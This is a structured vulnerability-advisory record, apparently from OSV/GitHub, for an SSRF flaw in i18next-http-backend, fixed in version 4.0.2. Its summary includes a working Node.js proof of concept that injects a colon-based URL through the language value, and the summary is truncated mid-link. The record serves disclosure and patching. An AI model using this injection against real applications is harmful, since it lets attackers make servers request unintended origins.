i18next-http-backend incomplete URL validation permits SSRF

{
  "id": "af2bb6bc6df39a379688263e58ba9b0d283b8c7d4e9716fd5fd132d12c931578",
  "url": "https://osv.dev/vulnerability/GHSA-xvq9-wjp8-hwqf",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "i18next-http-backend incomplete URL validation permits SSRF",
    "summary": "There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin. This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath. ## Proof of Concept ```js // SSRF through a colon-only URL scheme in i18next-http-backend interpolation. const http = require(\"node:http\"); const Backend = require(\"i18next-http-backend\"); function read(backend, lng, ns) { return new Promise((resolve) => { backend.read(lng, ns, (err) => resolve(err)); }); } async function main() { let gotRequest = false; const server = http.createServer((req, res) => { gotRequest = req.url === \"/common.json\"; res.writeHead(200, { \"content-type\": \"application/json\" }); res.end(\"{}\"); }); await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve)); const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" }); const lng = `http:127.0.0.1:${server.address().port}`; const err = await read(backend, lng, \"common\"); server.close(); const vulnerable = gotRequest && !err; console.log(vulnerable ? \"VULNERABLE\" : \"SAFE\"); if (!vulnerable) process.exitCode = 1; } main(); ``` Run: ```bash npm install --ignore-scripts node poc.js ``` The expected result is: ```text VULNERABLE ``` ## Why the Previous Patch Was Incomplete This vulnerability is caused by an incomplete patch for [CVE-2026-41691](https://github.com/advisories/GHSA",
    "evidence": "osv:GHSA-xvq9-wjp8-hwqf",
    "products": [
      {
        "name": {
          "value": "i18next-http-backend",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "4.0.2",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      }
    ],
    "severity": "low",
    "structured": {
      "id": "GHSA-xvq9-wjp8-hwqf",
      "aliases": [
        "CVE-2026-105800",
        "GHSA-xvq9-wjp8-hwqf"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "4.0.2"
                }
              ]
            }
          ],
          "package": {
            "name": "i18next-http-backend",
            "purl": "pkg:npm/i18next-http-backend",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xvq9-wjp8-hwqf/GHSA-xvq9-wjp8-hwqf.json"
          }
        }
      ],
      "modified": "2026-10-24T02:56:54.265759056Z",
      "provider": "osv",
      "references": [
        "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-105800",
        "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85",
        "https://github.com/i18next/i18next-http-backend",
        "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-74",
          "CWE-918"
        ],
        "severity": "LOW",
        "github_reviewed": true,
        "nvd_published_at": "2026-10-06T15:17:17Z",
        "github_reviewed_at": "2026-10-06T15:33:33Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-105800",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 428186,
  "published_at": "2026-10-06T15:33:33+00:00"
}